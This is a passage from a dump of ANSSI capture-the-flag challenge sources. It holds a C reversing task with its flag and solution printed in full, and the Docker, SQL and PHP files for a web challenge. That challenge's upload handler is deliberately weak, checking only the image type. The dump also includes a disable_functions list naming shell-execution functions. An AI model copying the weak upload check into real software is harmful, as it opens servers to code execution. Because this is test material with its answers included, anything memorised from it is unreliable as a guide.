 1 | #include <stdio.h>
 2 | #include <stdlib.h>
 3 | 
 4 | /* This function will never be called ;( */
 5 | void forever_alone()
 6 | {
 7 |     const char *flag = "ECSC{cdcd13c4c81a23a21506fa8efa5edff781e9fe80}";
 8 | 
 9 |     printf("The flag is %s.\n", flag);
10 | }
11 | 
12 | int main(int argc, char *argv[])
13 | {
14 |     printf("Nope, I won't give you the flag *that* easily!\n");
15 | 
16 |     exit(EXIT_SUCCESS);
17 | }
18 | 


--------------------------------------------------------------------------------
/reverse-vault/Makefile:
--------------------------------------------------------------------------------
 1 | TARGET = vault
 2 | LIBS = -lm
 3 | CC = gcc
 4 | CFLAGS = -g -Wall
 5 | 
 6 | .PHONY: default all clean
 7 | 
 8 | default: $(TARGET)
 9 | all: default
10 | 
11 | OBJECTS = $(patsubst %.c, %.o, $(wildcard *.c))
12 | HEADERS = $(wildcard *.h)
13 | 
14 | %.o: %.c $(HEADERS)
15 | 	$(CC) $(CFLAGS) -c $< -o $@
16 | 
17 | .PRECIOUS: $(TARGET) $(OBJECTS)
18 | 
19 | $(TARGET): $(OBJECTS)
20 | 	$(CC) $(OBJECTS) -Wall $(LIBS) -o $@
21 | 
22 | clean:
23 | 	-rm -f *.o
24 | 	-rm -f $(TARGET)
25 | 


--------------------------------------------------------------------------------
/reverse-vault/README.md:
--------------------------------------------------------------------------------
 1 | # Vault
 2 | 
 3 | | Phase          | Catégorie    |  Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:------------:|:---------------------:|
 5 | | Pré-sélections | reverse      |   Facile     |            174 / 1241 |
 6 | 
 7 | 
 8 | ### Description
 9 | 
10 | Saurez-vous retrouver la clé pour rentrer dans le coffre ?
11 | 


--------------------------------------------------------------------------------
/reverse-vault/vault:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/reverse-vault/vault


--------------------------------------------------------------------------------
/reverse-vault/vault.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <stdlib.h>
 3 | #include <unistd.h>
 4 | #include <termios.h>
 5 | 
 6 | #define BUF_SIZE 100
 7 | 
 8 | static const char *password = "b87de397e1346bc605be4ed8361a68a3d9748fc9";
 9 | static char flag[BUF_SIZE] = { 0 };
10 | 
11 | /* Solution: 346bc605be4ed8361a68a3d9748fc9b87de397e1 */
12 | /*
13 | void print_solution()
14 | {
15 |     int i;
16 |     for (i = 0; i < 40; i++)
17 |     {
18 |         putchar(password[(i + 10) % 40]);
19 |     }
20 |     putchar('\n');
21 | }
22 | */
23 | 
24 | int check_char(unsigned int pos, unsigned char c)
25 | {
26 |    return password[(pos + 10) % 40] == c; 
27 | }
28 | 
29 | int main(int argc, char *argv[])
30 | {
31 |     unsigned int pos = 0;
32 |     unsigned char c;
33 |     int b = 1;
34 |     unsigned int sum = 0;
35 | 
36 |     /*
37 |     print_solution();
38 |     */
39 | 
40 |     struct termios tp, save;
41 |     /* Retrieve current terminal settings, turn echoing off */
42 |     if (tcgetattr(STDIN_FILENO, &tp) == -1)
43 |     {
44 |         fprintf(stderr, "tcgetattr");
45 |         exit(-1);
46 |     }
47 |     save = tp;                          /* So we can restore settings later */
48 |     tp.c_lflag &= ~ECHO;                /* ECHO off, other bits unchanged */
49 |     if (tcsetattr(STDIN_FILENO, TCSAFLUSH, &tp) == -1)
50 |     {
51 |         fprintf(stderr, "tcsetattr");
52 |         exit(-1);
53 |     }
54 | 
55 |     printf("=-=-=-= Very secure vault =-=-=-=\n");
56 |     printf("Please enter you very secure password: ");
57 |     fflush(stdout);
58 |     while ((c = getchar()) != EOF)
59 |     {
60 |         if (c == '\n')
61 |         {
62 |             putchar('\n');
63 |             break;
64 |         }
65 |         b &= check_char(pos, c);
66 |         if (b == 1)
67 |         {
68 |             sum += c;
69 |             flag[pos % BUF_SIZE] = c;
70 |         }
71 |         pos += 1;
72 |         /*
73 |         printf("%u - sum: %u\n", b, sum);
74 |         */
75 |     }
76 | 
77 |     /* Restore original terminal settings */
78 |     if (tcsetattr(STDIN_FILENO, TCSANOW, &save) == -1)
79 |     {
80 |         fprintf(stderr, "tcsetattr");
81 |         exit(-1);
82 |     }
83 | 
84 |     if (b != 1 || sum != 2827)
85 |     {
86 |         printf("Wrong password: authorities have been alerted!\n");
87 |         exit(-1);
88 |     }
89 | 
90 |     printf("\\o/ Access granted! \\o/\n");
91 |     printf("Here is your flag: ECSC{%s}\n", flag);
92 | 
93 |     exit(EXIT_SUCCESS);
94 | }
95 | 


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/README.md:
--------------------------------------------------------------------------------
 1 | # Ceci n'est pas une pipe
 2 | 
 3 | | Phase          | Catégorie    |   Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:-------------:|:---------------------:|
 5 | | Pré-sélections | web          |       Moyen   |             78 / 1241 |
 6 | 
 7 | ### Description
 8 |                         
 9 |       -\;~.~/v[1YYY}v|(|)"r*=^.!+r-.                                                                        
10 |       *FY(~`''_<;i}{xY1T1YfeZ%hhAk/``                                      . ^"vcyyjkk5bMMMOMMMOOMND@OODD@a
11 |      .7zl/:- .+*/7Y11sssyj25POOOObf:`                                .'>|7tujuTci\(?iL71sF2I45$5XZ6E6SEKONN=
12 |       fYi* --'+"){TTY1TYTsnZEMOMOP3^`                             _r}tFsi;_:>|7CXUDHRBgNM%ey1//>:
13 |      ^jYi".  '>"v{1TfftysoXpM@DO&p$<-                          !{tyx;!  +ijKNWHHHgKafi>,``
14 |      /jTv<. - +(v1TYssnjn#XUDBBDDM9>-                   `.'!=(=~!~.`_)yEMQBQQBOFi< 
15 |      /J1v+` '_+(vxTytFeFoa9O&&@&NMZ>-                . -^;v(>,` - +L0@QHggBMo(--
16 |      \CYv> ``_;|iLfy2C23Fk9&@DQ&@OZ<              .`->\i\+!``'~"v}1sADBgD$v_ 
17 |      "jtv+'``!;\ixtJJCuI#5d&g@DD&MZ+           . `>/i|<~. .!;i[sIhdpqb$z+.
18 |      `uj]*.-  >?cYzjI#eakhO&RNDD@M4~         `!r)v"+~`-`:<)cfjAMO&OK#?..
19 |       FC1(~  '<|cTjjaa4VkGNRB&QQBOV,    -,+r))\>:' ``~+|[sFkONDNOSn;-'
20 |       )Fti=_`_+\{YtCuon35MD@ND&DNMKJv|\/(\;<, ` ''~+/LTn3qMMM8Gkt"  
21 |       !JJYi;+>"(cTCnu2o$UNNRND&D@OSz?><~--- '',>/iYfV5pMMOMUh#[<-
22 |        )Vo1i|/\i{ssJCo5G&QQBRDD@NO$1v;>++<;|v}Tsn50OONOMMGZf(,
23 |        '|nnfttfT1Ysy2kqD@&NgNNNNN@OKEVnjFVeXhGUMD@OOMmbE2v,
24 |          "zVCuoyuC4kKON&@D&Q&@NN@@OOOMMOOOONNM@@MMU89Fi<-
25 |           .)u%9wpdOOgHBBNgN&N&NN&NN&D&D@D@&NOOMUweY?!..
26 |             .rYXGMNQWRQgQDN@MND@NDNOOMOOOMMpEF1/<`
27 |               `-~;lf4EGOOOOMm8G80Gb66ZVjfv(>-.
28 |                      .',,<+"=***<~^_,- 
29 | 


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/docker-compose.yml:
--------------------------------------------------------------------------------
 1 | version: '3'
 2 | 
 3 | services:
 4 |   # PHP Apache
 5 |   php-apache:
 6 |     build: php-apache
 7 |     ports:
 8 |       - "8001:80"
 9 |     depends_on:
10 |       - mariadb
11 | 
12 |   # Mariadb
13 |   mariadb:
14 |     build: mariadb
15 |     environment:
16 |       MYSQL_USER: root
17 |       MYSQL_ROOT_PASSWORD: DFsMBWcgeLuDP2bLEzbW
18 |     command: mysqld --connect_timeout=30 --net_read_timeout=3600 --max_allowed_packet=128M --max_connections=1024
19 | 


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/mariadb/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM mariadb:latest as builder
 2 | 
 3 | RUN ["sed", "-i", "s/exec \"$@\"/echo \"not running $@\"/", "/usr/local/bin/docker-entrypoint.sh"]
 4 | 
 5 | # needed for intialization
 6 | ENV MYSQL_ROOT_PASSWORD=DFsMBWcgeLuDP2bLEzbW
 7 | 
 8 | COPY ./sql/init.sql /docker-entrypoint-initdb.d/
 9 | 
10 | # Need to change the datadir to something else that /var/lib/mysql because the parent docker file defines it as a volume.
11 | # https://docs.docker.com/engine/reference/builder/#volume :
12 | #       Changing the volume from within the Dockerfile: If any build steps change the data within the volume after
13 | #       it has been declared, those changes will be discarded.
14 | RUN ["/usr/local/bin/docker-entrypoint.sh", "mysqld", "--datadir", "/initialized-db"]
15 | 
16 | FROM mariadb:latest
17 | 
18 | COPY --from=builder /initialized-db /var/lib/mysql
19 | 


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/mariadb/sql/delete.sql:
--------------------------------------------------------------------------------
1 | DROP DATABASE notes;
2 | DROP USER 'notes'@'%';


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/mariadb/sql/init.sql:
--------------------------------------------------------------------------------
 1 | CREATE DATABASE notes;
 2 | 
 3 | CREATE USER 'notes'@'%' IDENTIFIED BY 'N9mpnvEyTtaGxfsznEBh';
 4 | GRANT SELECT,INSERT ON notes.* TO 'notes'@'%';
 5 | 
 6 | CREATE TABLE notes.users(
 7 | 	id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
 8 |     username    VARCHAR(50) NOT NULL UNIQUE,
 9 |     password    VARCHAR(256) NOT NULL,
10 |     upload_dir  VARCHAR(256) NOT NULL,
11 | 	created		DATETIME DEFAULT CURRENT_TIMESTAMP
12 | );
13 | 
14 | CREATE TABLE notes.notes (
15 | 	id 		SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
16 | 	user_id SMALLINT UNSIGNED NOT NULL,
17 | 	title	VARCHAR(50) NOT NULL,
18 | 	content	VARCHAR(500) NOT NULL,
19 | 	file	VARCHAR(500), 
20 | 	created DATETIME DEFAULT CURRENT_TIMESTAMP,
21 | 	FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
22 | );
23 | 


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM php:7.3.4-apache-stretch
 2 | RUN docker-php-ext-install mysqli pdo_mysql exif
 3 | COPY ./www/ /var/www/html/
 4 | RUN chown -R root:root /var/www/html/
 5 | RUN chmod -R 755 /var/www/html/
 6 | RUN chmod a+t /var/www/html/upload/
 7 | RUN chmod 733 /var/www/html/upload/
 8 | RUN touch /var/www/html/.htaccess /var/www/html/upload/.htaccess
 9 | RUN chmod 444 /var/www/html/.htaccess /var/www/html/upload/.htaccess
10 | RUN chmod +x /home
11 | COPY ./conf/sendmail/sendmail /usr/sbin/sendmail
12 | RUN mkdir -p /usr/share/php/chall
13 | COPY ./conf/php/prepend.php /usr/share/php/chall
14 | COPY ./conf/php/php.ini /usr/local/etc/php
15 | RUN mkdir -p /var/lib/php/sessions && chmod 1733 /var/lib/php/sessions
16 | RUN find /var/www/html -name ".git*" -exec rm -rf {} \;
17 | COPY ./conf/flag/flag /home/flag
18 | RUN chmod a-r /home/flag
19 | 


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/conf/flag/flag:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/web-CeciNestPasUnePipe/php-apache/conf/flag/flag


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/conf/flag/flag.c:
--------------------------------------------------------------------------------
1 | #include <stdio.h>
2 | int main(){
3 | 	printf("E\103S\x43""\x7B\1461\x32""d\071f\x66""3\1410\x31""7\0606\x35""d\064d\x33""6\063c\x65""a\0614\x38""b\145f\x38""b\146f\x66""a\143c\x33""1\175\x0A");
4 | 	return (0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00);
5 | };
6 | 


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/conf/php/disable_functions.txt:
--------------------------------------------------------------------------------
 1 | pcntl_alarm
 2 | pcntl_fork
 3 | pcntl_waitpid
 4 | pcntl_wait
 5 | pcntl_wifexited
 6 | pcntl_wifstopped
 7 | pcntl_wifsignaled
 8 | pcntl_wexitstatus
 9 | pcntl_wtermsig
10 | pcntl_wstopsig
11 | pcntl_signal
12 | pcntl_signal_dispatch
13 | pcntl_get_last_error
14 | pcntl_strerror
15 | pcntl_sigprocmask
16 | pcntl_sigwaitinfo
17 | pcntl_sigtimedwait
18 | pcntl_exec
19 | pcntl_getpriority
20 | pcntl_setpriority
21 | exec
22 | passthru
23 | shell_exec
24 | system
25 | proc_open
26 | popen
27 | parse_ini_file
28 | show_source
29 | pcntl_alarm
30 | pcntl_fork
31 | pcntl_waitpid
32 | pcntl_wait
33 | pcntl_wifexited
34 | pcntl_wifstopped
35 | pcntl_wifsignaled
36 | pcntl_wexitstatus
37 | pcntl_wtermsig
38 | pcntl_wstopsig
39 | pcntl_signal
40 | pcntl_signal_dispatch
41 | pcntl_get_last_error
42 | pcntl_strerror
43 | pcntl_sigprocmask
44 | pcntl_sigwaitinfo
45 | pcntl_sigtimedwait
46 | pcntl_exec
47 | pcntl_getpriority
48 | pcntl_setpriority
49 | exec
50 | passthru
51 | shell_exec
52 | system
53 | proc_open
54 | popen
55 | parse_ini_file
56 | show_source
57 | exec
58 | passthru
59 | shell_exec
60 | system
61 | proc_open
62 | popen
63 | curl_exec
64 | curl_multi_exec
65 | parse_ini_file
66 | show_source
67 | imap_open
68 | preg_replace
69 | create_function
70 | exec
71 | passthru
72 | shell_exec
73 | system
74 | proc_open
75 | popen
76 | curl_exec
77 | curl_multi_exec
78 | parse_ini_file
79 | show_source


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/conf/php/prepend.php:
--------------------------------------------------------------------------------
1 | <?php
2 | ini_set('open_basedir', dirname($_SERVER['SCRIPT_FILENAME']) . ':/usr/share/php/chall:/tmp');


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/conf/sendmail/sendmail:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/web-CeciNestPasUnePipe/php-apache/conf/sendmail/sendmail


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/conf/sendmail/sendmail.c:
--------------------------------------------------------------------------------
1 | #include<stdio.h>    
2 | int main()
3 | {   
4 |     printf("Sendmail execution!\n");
5 |     return 0;
6 | }


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/www/config.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | 
 3 | /* Database credentials. Assuming you are running MySQL
 4 | server with default setting (user 'root' with no password) */
 5 | define('DB_SERVER', 'mariadb');
 6 | define('DB_USERNAME', 'notes');
 7 | define('DB_PASSWORD', 'N9mpnvEyTtaGxfsznEBh');
 8 | define('DB_NAME', 'notes');
 9 |  
10 | ?>


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/www/index.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | 
  3 | // Initialize the session
  4 | session_start();
  5 |  
  6 | // Check if the user is already logged in, if yes then redirect him to welcome page
  7 | if(!(isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true)){
  8 |     header('Location: login.php');
  9 |     exit();
 10 | }
 11 | 
 12 | // Include config file
 13 | require_once 'config.php';
 14 | 
 15 | // global
 16 | define('SERVER_UPLOAD_PATH', __DIR__ . '/upload/' . $_SESSION['user_upload_dir'] . '/');
 17 | define('WEB_UPLOAD_PATH', 'http://' . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . '/upload/');
 18 | 
 19 | // Core (class)
 20 | class Notes
 21 | {
 22 |     
 23 |     private $pdo;
 24 | 
 25 |     function __construct()
 26 |     {
 27 |         $this->pdo = new PDO('mysql:host=' . DB_SERVER . ';dbname=' . DB_NAME . ';charset=utf8mb4', DB_USERNAME, DB_PASSWORD);
 28 |         $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
 29 |         $this->pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
 30 |     }
 31 | 
 32 |     public function fetchNotes($user_id)
 33 |     {
 34 |         $stmt = $this->pdo->prepare('SELECT * FROM notes WHERE user_id = :user_id ORDER BY created DESC');
 35 |         $stmt->bindParam(':user_id', $user_id);
 36 |         $stmt->execute();
 37 |         $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
 38 |         return $result;
 39 |     }
 40 |     
 41 |     public function create($title, $content, $file)
 42 |     {
 43 |         $datetime = date('Y-m-d H:i:s');
 44 |         $stmt     = $this->pdo->prepare('INSERT INTO notes (user_id, title, content, file) VALUES (:user_id, :title, :content, :file)');
 45 |         $stmt->bindParam(':user_id', $_SESSION['id']);
 46 |         $stmt->bindParam(':title', $title);
 47 |         $stmt->bindParam(':content', $content);
 48 |         $stmt->bindParam(':file', $file);
 49 |         $stmt->execute();
 50 |     }
 51 | }
 52 | 
 53 | // Init core (class)
 54 | $notes = new Notes;
 55 | 
 56 | // Actions
 57 | if (isset($_POST['new'])) {
 58 |     $title       = $_POST['title'];
 59 |     $content     = $_POST['content'];
 60 |     $target_path = '';
 61 |     
 62 |     // Test if file
 63 |     if (!empty($_FILES['file']['name'])) {
 64 |         
 65 |         // Where are we going to be writing to?
 66 |         $target_path .= SERVER_UPLOAD_PATH . basename($_FILES['file']['name']);
 67 |         $msg_err = '';
 68 |         
 69 |         // File information
 70 |         $uploaded_name = $_FILES['file']['name'];
 71 |         $uploaded_size = $_FILES['file']['size'];
 72 |         
 73 |         $allowed_types = array(
 74 |             IMAGETYPE_PNG,
 75 |             IMAGETYPE_JPEG
 76 |         );
 77 | 
 78 |         $detectedType  = exif_imagetype($_FILES['file']['tmp_name']);
 79 |         
 80 |         // Is it an image < 100 kb? 
 81 |         if (in_array($detectedType, $allowed_types) && ($uploaded_size < 100000)) {
 82 |             
 83 |             // Can we move the file to the upload folder?
 84 |             if (!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
 85 |                 // No
 86 |                 $msg_err .= 'Your image was not uploaded.';
 87 |             } else {
 88 |                 chmod($target_path, 0444);
 89 |             }
 90 |         } else {
 91 |             // Invalid file
 92 |             $msg_err .= 'Your image was not uploaded. We can only accept JPEG or PNG images < 100 KB.';
 93 |         }
 94 |     }
 95 | 
 96 |     // Everything is ok - create notes
 97 |     if(empty($msg_err)){
 98 |         $notes->create($title, $content, $target_path);
 99 |     }
100 | 
101 |     header('Location: .' . (empty($msg_err) ? '' : '/?msg=' . $msg_err));
102 |     exit();
103 | }
104 | 
105 | ?>
106 | <!DOCTYPE html>
107 | <html>
108 |     <head>
109 |         <title>Personal Note</title>
110 |         <meta charset='utf-8'>
111 |         <meta name='viewport' content='width=device-width, initial-scale=1'>
112 |         <link rel='stylesheet' href='/static/css/bootstrap.min.css'>
113 |         <script src='/static/js/jquery.min.js'></script>
114 |         <script src='/static/js/bootstrap.min.js'></script>
115 |         <style>
116 |             .container {
117 |                 max-width: 780px;
118 |             }
119 |             textarea {
120 |                 resize: vertical;    /* allow only vertical stretch */
121 |             }
122 |             body {
123 |                 background-color: #f5f7fa;
124 |             }
125 |         </style>
126 |     </head>
127 |     <body>
128 | <!-- Alert box -->
129 | <?php
130 | if (isset($_GET['msg'])):
131 | ?> 
132 |             <div class='alert alert-danger'>
133 |                 <center>
134 |                     <strong><?= htmlspecialchars($_GET['msg'], ENT_QUOTES, 'UTF-8') ?></strong>
135 |                 </center>
136 |             </div>
137 | <?php
138 | endif;
139 | ?>
140 |         
141 |         <div class='container'>
142 |             <div class='page-header'>
143 |                 <h2>Save my note</h2>
144 |             </div>
145 |             <form role='form' action='index.php' method='POST' enctype='multipart/form-data'>
146 |                 <div class='form-group'>
147 |                     <input class='form-control' type='text' placeholder='Title' name='title' maxlength='50' required>
148 |                 </div>
149 |                 <div class='form-group'>
150 |                     <textarea class='form-control' rows='5' placeholder='What do you have in mind ?' name='content' maxlength='500' autofocus required></textarea>
151 |                 </div>
152 |                 <div class='btn-group pull-left'>
153 |                     <input type='file' class='form-control-file' id='file' name='file' title='Attach an image'>
154 |                 </div>
155 |                 <div class='btn-group pull-right'>
156 |                     <button class='btn btn-danger' type='reset'><span class='glyphicon glyphicon-remove'></span> Clear </button>
157 |                     <button class='btn btn-success' name='new' type='submit'><span class='glyphicon glyphicon-send'></span> Save </button>
158 |                 </div>
159 |             </form>
160 |         </div>
161 | <?php
162 | if (isset($_SESSION['id'])):
163 |     $fetchedNotes = $notes->fetchNotes($_SESSION['id']);
164 | ?>
165 |         <div class='container' id='notes'>
166 |             <div class='page-header'>
167 |                 <h2> Previously saved </h2>
168 |             </div>
169 |             <div class='table-responsive'>
170 |                 <table class='table table-hover'>
171 |                     <thead>
172 |                         <tr>
173 |                             <th>Name</th>
174 |                             <th>Date</th>
175 |                             <th>Filename</th>
176 |                             <th class='pull-right'>Actions<br></th>
177 |                         </tr>
178 |                     </thead>
179 |                     <tbody>
180 |                         <tr>
181 |                             <!-- Loop over notes -->
182 | <?php
183 |     foreach ($fetchedNotes as $row):
184 | ?>
185 |                             <!-- Array Note Info -->
186 |                             <td>
187 |                                 <small><a href='#' class='text-primary' id='noteContent' onclick='$("#noteModal<?= $row["id"] ?>").modal("show");'><?= htmlspecialchars(substr($row['title'], 0, 15), ENT_QUOTES, 'UTF-8') ?></a></small>
188 |                             </td>
189 |                             <td><?= date('d/m/Y H:i', strtotime($row['created'])) ?></td>
190 |                             <td>
191 |                                 <a title='Get file' href='<?= htmlspecialchars(WEB_UPLOAD_PATH . $_SESSION['user_upload_dir'] . '/' . basename($row['file']), ENT_QUOTES, 'UTF-8') ?>' target='_blank'>
192 |                                     <?= htmlspecialchars(basename($row['file']), ENT_QUOTES, 'UTF-8') ?>
193 |                                 </a>
194 |                             </td>
195 |                             <td class='pull-right'>
196 |                                 <div class='btn-group'>
197 |                                     <a class='btn btn-default btn-xs' title='Send by email - soon available' href='#'><span class='glyphicon glyphicon-envelope'></span></a>
198 |                                 </div>
199 |                             </td>
200 |                             <!-- -->
201 |                         </tr>
202 |                         <!-- Begin modal part -->
203 |                         <div class='modal fade' id='noteModal<?= $row['id'] ?>' tabindex='-1' role='dialog' aria-labelledby='noteModalTitle<?= $row['id'] ?>' aria-hidden='true'>
204 |                             <div class='modal-dialog' role='document'>
205 |                                 <div class='modal-content'>
206 |                                     <div class='modal-header'>
207 |                                         <button type='button' class='close' data-dismiss='modal' aria-label='Close'>
208 |                                         <span aria-hidden='true'>&times;</span>
209 |                                         </button>
210 |                                         <h5 class='modal-title' id='noteModalTitle<?= $row['id'] ?>'><?= htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8') ?></h5>                                        
211 |                                     </div>
212 |                                     <div class='modal-body' style='white-space: pre-line'>
213 |                                         <?= htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8') ?>
214 |                                     </div>
215 |                                     <div class='modal-footer'>
216 |                                         <button type='button' class='btn btn-secondary' data-dismiss='modal'>Close</button>
217 |                                     </div>
218 |                                 </div>
219 |                             </div>
220 |                         </div>
221 |                         <!-- End modal part -->
222 | <?php
223 |     endforeach;
224 | ?>
225 |                     </tbody>
226 |                 </table>
227 |             </div>
228 | <?php
229 | endif;
230 | ?>
231 |         </div>
232 |     </body>
233 | </html>


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/www/login.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | 
  3 | // Include config file
  4 | require_once 'config.php';
  5 |  
  6 | /* Attempt to connect to MySQL database */
  7 | $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
  8 |  
  9 | // Check connection
 10 | if($link === false){
 11 |     die('ERROR: Could not connect. ' . mysqli_connect_error());
 12 | }
 13 | 
 14 |     // Define variables and initialize with empty values
 15 | $username = $password = '';
 16 | $username_err = $password_err = '';
 17 |  
 18 | // Processing form data when form is submitted
 19 | if($_SERVER['REQUEST_METHOD'] == 'POST'){
 20 |  
 21 |     // Check if username is empty
 22 |     if(empty(trim($_POST['username']))){
 23 |         $username_err = 'Please enter username.';
 24 |     } else{
 25 |         $username = trim($_POST['username']);
 26 |     }
 27 |     
 28 |     // Check if password is empty
 29 |     if(empty(trim($_POST['password']))){
 30 |         $password_err = 'Please enter your password.';
 31 |     } else{
 32 |         $password = trim($_POST['password']);
 33 |     }
 34 |     
 35 |     // Validate credentials
 36 |     if(empty($username_err) && empty($password_err)){
 37 |         // Prepare a select statement
 38 |         $sql = 'SELECT id, username, password, upload_dir FROM users WHERE username = ?';
 39 |         
 40 |         if($stmt = mysqli_prepare($link, $sql)){
 41 | 
 42 |             // Bind variables to the prepared statement as parameters
 43 |             mysqli_stmt_bind_param($stmt, 's', $param_username);
 44 |             
 45 |             // Set parameters
 46 |             $param_username = $username;
 47 |             
 48 |             // Attempt to execute the prepared statement
 49 |             if(mysqli_stmt_execute($stmt)){
 50 |                 
 51 |                 // Store result
 52 |                 mysqli_stmt_store_result($stmt);
 53 |                 
 54 |                 // Check if username exists, if yes then verify password
 55 |                 if(mysqli_stmt_num_rows($stmt) == 1){                    
 56 |                     
 57 |                     // Bind result variables
 58 |                     mysqli_stmt_bind_result($stmt, $id, $username, $hashed_password, $upload_dir);
 59 |                     
 60 |                     if(mysqli_stmt_fetch($stmt)){
 61 |                         
 62 |                         if(password_verify($password, $hashed_password)){
 63 |                             
 64 |                             // Password is correct, so start a new session
 65 |                             session_start();
 66 |                             
 67 |                             // Store data in session variables
 68 |                             $_SESSION['loggedin'] = true;
 69 |                             $_SESSION['id'] = $id;
 70 |                             $_SESSION['username'] = $username;                            
 71 |                             $_SESSION['user_upload_dir'] = $upload_dir;
 72 | 
 73 |                             // Redirect user to welcome page
 74 |                             header('Location: index.php');
 75 |                         } else{
 76 |                             // Display an error message if password is not valid
 77 |                             $password_err = 'The password you entered was not valid.';
 78 |                         }
 79 |                     }
 80 |                 } else{
 81 |                     // Display an error message if username doesn't exist
 82 |                     $username_err = 'No account found with that username.';
 83 |                 }
 84 |             } else{
 85 |                 echo 'Oops! Something went wrong. Please try again later.';
 86 |             }
 87 |         }
 88 |         
 89 |         // Close statement
 90 |         mysqli_stmt_close($stmt);
 91 |     }
 92 |     
 93 |     // Close connection
 94 |     mysqli_close($link);
 95 | }
 96 | ?>
 97 |  
 98 | <!DOCTYPE html>
 99 | <html lang='en'>
100 | <head>
101 |     <meta charset='UTF-8'>
102 |     <title>Login</title>
103 |     <link rel='stylesheet' href='/static/css/bootstrap.min.css'>
104 |     <style type='text/css'>
105 |         .container {
106 |             max-width: 350px;
107 |         }
108 |         textarea {
109 |             resize: vertical;    /* allow only vertical stretch */
110 |         }
111 |         body {
112 |             background-color: #f5f7fa;
113 |         }
114 |     </style>
115 | </head>
116 | <body>
117 |     <div class='container'>
118 |         <h2>Login</h2>
119 |         <p>Please fill in your credentials to login.</p>
120 |         <form action='<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>' method='post'>
121 |             <div class='form-group <?php echo (!empty($username_err)) ? 'has-error' : ''; ?>'>
122 |                 <label>Username</label>
123 |                 <input type='text' name='username' class='form-control' value='<?php echo $username; ?>'>
124 |                 <span class='help-block'><?php echo $username_err; ?></span>
125 |             </div>    
126 |             <div class='form-group <?php echo (!empty($password_err)) ? 'has-error' : ''; ?>'>
127 |                 <label>Password</label>
128 |                 <input type='password' name='password' class='form-control'>
129 |                 <span class='help-block'><?php echo $password_err; ?></span>
130 |             </div>
131 |             <div class='form-group'>
132 |                 <input type='submit' class='btn btn-primary' value='Login'>
133 |             </div>
134 |             <p>Don't have an account? <a href='register.php'>Sign up now</a>.</p>
135 |         </form>
136 |     </div>    
137 | </body>
138 | </html>


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/www/register.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | 
  3 | // Include config file
  4 | require_once 'config.php';
  5 |  
  6 | /* Attempt to connect to MySQL database */
  7 | $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
  8 |  
  9 | // Check connection
 10 | if($link === false){
 11 |     die('ERROR: Could not connect. ' . mysqli_connect_error());
 12 | }
 13 |  
 14 | // Define variables and initialize with empty values
 15 | $username = $password = $confirm_password = '';
 16 | $username_err = $password_err = $confirm_password_err = '';
 17 |  
 18 | // Processing form data when form is submitted
 19 | if($_SERVER['REQUEST_METHOD'] == 'POST'){
 20 |  
 21 |     // Validate username
 22 |     if(empty(trim($_POST['username']))){
 23 |         $username_err = 'Please enter a username.';
 24 |     } else{
 25 |         
 26 |         // Prepare a select statement
 27 |         $sql = 'SELECT id FROM users WHERE username = ?';
 28 | 
 29 |         // Set parameters
 30 |         $param_username = trim($_POST['username']);
 31 | 
 32 |         if($stmt = mysqli_prepare($link, $sql)){
 33 | 
 34 |             // Bind variables to the prepared statement as parameters
 35 |             mysqli_stmt_bind_param($stmt, 's', $param_username);
 36 |             
 37 |             // Attempt to execute the prepared statement
 38 |             if(mysqli_stmt_execute($stmt)){
 39 | 
 40 |                 /* store result */
 41 |                 mysqli_stmt_store_result($stmt);
 42 |                 
 43 |                 if(mysqli_stmt_num_rows($stmt) == 1){
 44 |                     $username_err = 'This username is already taken.';
 45 |                 } else{
 46 |                     $username = trim($_POST['username']);
 47 |                 }
 48 |             } else{
 49 |                 echo 'Oops! Something went wrong. Please try again later.';
 50 |             }
 51 |         }
 52 |          
 53 |         // Close statement
